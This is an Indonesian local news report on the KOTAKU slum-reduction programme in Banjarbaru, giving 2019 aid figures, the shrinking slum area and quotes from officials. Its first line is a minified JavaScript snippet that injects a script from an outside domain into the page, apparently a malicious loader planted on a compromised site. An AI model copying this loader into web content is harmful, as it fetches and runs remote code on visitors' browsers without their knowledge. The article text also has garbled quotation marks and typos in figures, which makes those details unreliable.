(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Program KOTAKU di 7 Kelurahan, Kawasan Kumuh Tersisa 87,45 Ha

BANJARBARU, Bantuan Pemerintah Untuk Masyarakat (BPM) Program KOTAKU Kota Banjarbaru tahun 2019 diserahkan, Selasa (8/10), di kantor Kelurahan Landasan Ulin Timur, Kecamatan Landasan Ulin.

Ketua Pokja PKP Banjarbaru Kanafi S IP MM memaparkan, progress pengurangan luas permukiman kumuh Kota Banjarbaru dari tahun 2014 sampai dengan 2019 turun sangat signifikan, tahun 2014 luas permukiman kumuh 349,12 Ha, tahun 2016 204,49 Ha, tahun 2017 183,34 Ha, tahun 2018 173,71 Ha dan tahun 2019 87,45 Ha.

Ã¢â‚¬Å“Untuk kawasan permukiman kumuh di Kecamatan Cempaka masih besar 57 Ha, Insya Allah tahun 2020 kita bisa mengurangi kawasan permukiman kumuh, dan mengerjakannya bersama-sama,Ã¢â‚¬Â kata Kanafi.

Pemerintah Kota Banjarbaru mendapat alokasi kegiatan Bantuan Pemerintah Untuk Masyarakat (BPM) Program KOTAKU tahun 219 dengan Pagu sebesar Rp 10,5 ,ilyar untuk 7 kelurahan yaitu Kelurahan Cempaka, Kelurahan Kemuning, Kelurahan Landasan Ulin Timur, Kelurahan Landasan Ulin Tengah, Kelurahan Landasan Ulin Selatan, Kelurahan Loktabat Selatan dan Kelurahan Sungai Tiung.

Walikota Banjarbaru Nadjmi Adhani mengatakan, Program KOTAKU ini berjalan dengan baik karena dapat menurunkan secara drastic permukiman kumuh di kota Banjarbaru.

Ã¢â‚¬Å“Mudah-mudahan proses penurunan angka kawasan kumuh akan berhasil, kuncinya adalah komunikasi yang baik dari pelaksana kegiatan dengan masyarakat. Bisa merubah pola pikir kepada masyarakat bahwa sadar kawasan kumuh ini tidak sehat dan program ini harus didukung penuh oleh masyarakat,Ã¢â‚¬Â ujarnya. (rico)

Reporter : Rico
Editor : Bie